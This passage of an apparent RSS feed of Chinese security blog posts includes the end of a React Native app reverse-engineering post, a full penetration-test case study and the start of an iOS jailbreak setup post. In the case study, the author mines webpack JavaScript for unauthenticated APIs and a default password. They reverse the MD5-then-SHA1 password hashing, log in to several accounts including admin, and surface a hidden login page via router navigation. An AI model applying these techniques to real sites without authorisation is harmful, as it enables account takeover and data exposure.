data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=083d8c38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznG3lgSYNJhvOEJ5gNptWgyOry9emz7R1mc2Fngbu1JsMShicssQQeAgg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>运行效果<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002834" data-ratio="1.7185185185185186" title="image.png" data-type="png" data-w="810" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=88d4f84e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznwcVy7Sxezsf0FsNqcvPWLdkl6P1ClDlgUibmaXIDcMRAbmGcDpseulg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">也可以设置一个全局变量（tempSecretKey），然后将<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">secretKey</code>的值赋给全局变量，然后放在数据包请求中。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002839" data-ratio="0.27685185185185185" title="image.png" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=9f8a3387&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznP9yKY3AFjoXQoJLkOdiaF4WMxDficcTZ72MvpyKEZbRsp9BsvIQA0yLw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002841" data-ratio="0.2935185185185185" title="image.png" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=58d02d9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznicC0QPiclicY8hxOqVdpufMFLkXR0RpYazUvmClmoJ3dnmIA2bbJib7JhA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>运行APP后，进行抓包<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002840" data-ratio="0.7461538461538462" title="image.png" data-type="png" data-w="1040" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=efa5466b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznqZibwtSdOl4icwicz0yMRQ7LzwHLBmbukod6VsbR7Epzc7ribqkX8e0yicQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>也是可以成功获取secretKey的。<p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><br/></p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x02 总结</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">对于<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">React Native</code>打包的APP，主要是分析<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">main.jsbundle</code>文件。通过插桩的方式来辅助分析，修改后替换手机上的文件。另外使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">HBuilder</code> 开发的项目，做法类似，主要是分析和替换<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">app-service.js</code>文件 。</p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486494">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=dd9e42e8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486494%26idx%3D1%26sn%3D10af5c3d76ca2225775e749430d6ea18%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 23 Nov 2023 08:15:00 +0800</pubDate>
    </item>
    <item>
      <title>【案例分享】消失的登录页面</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486475&amp;idx=1&amp;sn=3bc5bf6db53d06693a54627f5d845ecd</link>
      <description>在某次测试过程中，遇到了这样一个网站，存在登录页面但却无法直接通过地址栏访问登录页面。</description>
      <content:encoded><![CDATA[<p>
原创 <span>浮萍</span> <span>2023-11-08 08:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>在某次测试过程中，遇到了这样一个网站，存在登录页面但却无法直接通过地址栏访问登录页面。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e3f0157e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaiban7hg4OlhFgWaXDBttlg7jhvbBEzwoRdFxBAM43NzbOuQTFTmuHXhnWQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;letter-spacing: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><h1 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.6em;"><span style="color: inherit;font-size: inherit;letter-spacing: 0px;">0x00前言</span><br/></h1><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">在某次测试过程中，遇到了这样一个网站，存在登录页面但却无法直接通过地址栏访问<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">login</code>页面。在 JS 文件中发现了默认密码，同时找到了登录接口，然而密码进行了加密。通过分析JS文件，最终通过两种方式来实现了登录，一种是找到密码的加密方法，一种是让登录接口&#34;重见天日&#34;。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x01过程</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">网站主页都是一些展示的内容，js文件是通过webpack打包的，格式化后大概三十多万行。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过js文件发现了一些接口，其中有些接口存在未授权访问漏洞。而且有一个接口可以查看上传的所有附件信息，其中还包含了用户名。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.44814814814814813" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=78343d23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaibanSxlG3AlKFXqu4ABJahCIEk4ibg7bS0gM4A1elEaD3TEAibQkNz3asD9Q%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">未授权访问</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过分析JS文件，发现存在默认密码</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.3398148148148148" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6a0f21fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaibancl6e83w3fvnzUJIicz9AEWBJ5XyegwWWX94mTWqBA0bpzMSmLpibTMMQ%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.39307535641547864" title="" data-type="jpeg" data-w="982" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e402b1e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaibanMLqbQFIg1ZBKIaZdCm8Pbpfs11fMXFIf64ezRQz1NUt2oN0xQUHVQg%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">而且也找到了登录的接口，一共两个，一个是Login，一个是LoginApp，其中LoginApp不需要验证码。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.2953703703703704" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=386a0d83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaibanmXB65cxmbib0xKibWKYpnkTTXcI7fvtJzABYpXc2zib5ebe7ly1SSbfQw%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">目前有登录的接口、一部分用户名（从未授权中获取的），还有系统的默认密码，接下来就是测试那些用户使用了默认密码，可以成功登录。但是从登录接口发现，登录过程中密码采用了<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">_encrypt</code>函数进行加密。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">大概如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">t.prototype._encrypt = <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">function</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">t</span>) </span>{<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> D(y.Md5.hashStr(t.toString()).toString())<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">可以猜测首先对密码进行了Md5加密后，又经过了<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">D</code>函数进行加密。接下来可以寻找<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">D</code>函数是如何进行加密的。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">一般情况下，<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">D</code>函数有如下两种定义的方法：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">function</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">D</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">params</span>)</span>{<br/>    ...<br/>}<br/>D = <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">function</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">params</span>)</span>{<br/>    ...<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">然后我们可以通过下面的两种正则进行搜索。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">D = <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">function</span>\<span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(\w\)</span></span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">function</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">D</span>\<span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(\w\)</span></span><br/></code></pre><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.5814814814814815" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3e8ee699&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaiban7Ujpl3AZ8GFJicHTculKQJLk2lkYOQvOYFeeoOOZ6rPAI8oicqcN88WA%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.5425925925925926" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0fea1d56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaiban7gvHn17tiazvkUP78xSl3bLHEyCOJdnibE8jl20VFJfN2dDvadAd1xVQ%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">幸好<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">D</code>函数不多，也没有混淆，经过确认<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">D</code>函数是<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SHA1</code>加密。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">而且经过验证，成功找到了几个可以登录的账号。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.41759259259259257" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=36723c68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaiban619iczysJWxqF1jydrD9rXgMo4quAwOVQiby2xibkRQhKUkXWAWvRxUIw%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">登录后，某个接口可以列举所有的用户，包括该用户加密后的密码。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.41759259259259257" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0b40a99e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaiban1pj6h3434sQiaK6a0wtibYjfOEgWdQ43mKyMLp2DDyF7lIaCyibZXF99Q%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">例如登录admin用户。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.41759259259259257" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4f061522&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaibaniaadEbr7mDcqbhxG8ibsCnIhxzFibkMbibS1VbibTLN8LXlAZ6Hkve4CAFA%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">回过头来继续看登录页面，直接浏览器访问<a href="https://test.com/login" target="_blank">https://test.com/login</a> 时，会重定向到主页。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.44351851851851853" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6fba0548&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaibanSfCtzuzyz1rplSptbkSvZgLjlOg3ck4AvLeSziaI4dguEV3icA8fcuuA%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过搜索js文件</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.8571428571428571" title="" data-type="jpeg" data-w="1036" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3c8f4284&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaiban7KaIaibuEtmvqqu7URjibXJtp9fEibyUicJEzGGHgbiaialjUro1KBXsD9lg%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">发现了<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">n.router.navigateByUrl(&#34;/login&#34;)</code>，这是一个用于在前端Web应用中进行路由导航的代码片段。它通常在前端框架或库（如Angular、Vue.js、React等）中使用，用于导航到指定的路由或页面。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">当执行它时，应用程序会导航到 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/login</code> 路由或页面。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.287962962962963" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e73198b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaibankRnQRYdt9FeqiapQsjwl10tGIpribrkEgTmcK1pNZIUFWrWWsq9KtakQ%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">因此我们导航加载的位置，然后执行<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">router.navigateByUrl(&#34;/login&#34;)</code>，这里是<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">this.navigateByUrl(&#34;/login&#34;)</code></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">成功的跳转到了登录的页面</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.5333333333333333" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=858e16e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaibanDApMo7Hy9z59Yia1XG9sm2LgKbjnsqDvSSEL875qLOhoXUz9ZcYhMEA%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过验证，Login接口密码也是经过了md5后再进行SHA1加密。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.5203703703703704" title="" data-type="jpeg" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6704ccec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXgyibYRwf4rFO6883FKaibanEJhUia89nbUnBy1yd0icwl7QBicVfibGNyq35c2U2f6o9siaAdRgskmG5nw%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x02总结</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这个网站虽然存在登录页面，但无法直接通过URL访问。通过分析JS代码发现了默认密码，了解了密码加密方式。通过API接口，找到了未授权访问漏洞，获取了用户名，实现了登录。另外<span style="color: inherit;font-size: inherit;letter-spacing: 0px;">通过分析js，可以使用router.navigateByUrl(&#34;/login&#34;)来导航到登录页面，从而让登录页面出现，然后通过登录页面来登录。</span></p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486475">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=45e66922&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486475%26idx%3D1%26sn%3D3bc5bf6db53d06693a54627f5d845ecd%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 08 Nov 2023 08:30:00 +0800</pubDate>
    </item>
    <item>
      <title>【IOS逆向】越狱环境搭建</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486429&amp;idx=1&amp;sn=6558b54418c94903a36e1bb0fcaa82b0</link>
      <description>IOS越狱环境搭建</description>
      <content:encoded><![CDATA[<p>
原创 <span>浮萍</span> <span>2023-03-07 08:08</span> <span style="display: inline-block;">北京</span>
</p>

<p>IOS越狱环境搭建</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ac0a390d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqI8ZorcBFBckY4gQMxn68G9FKLUsUgAe0an5eHO69aicQHAJ3hFhPoQvQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


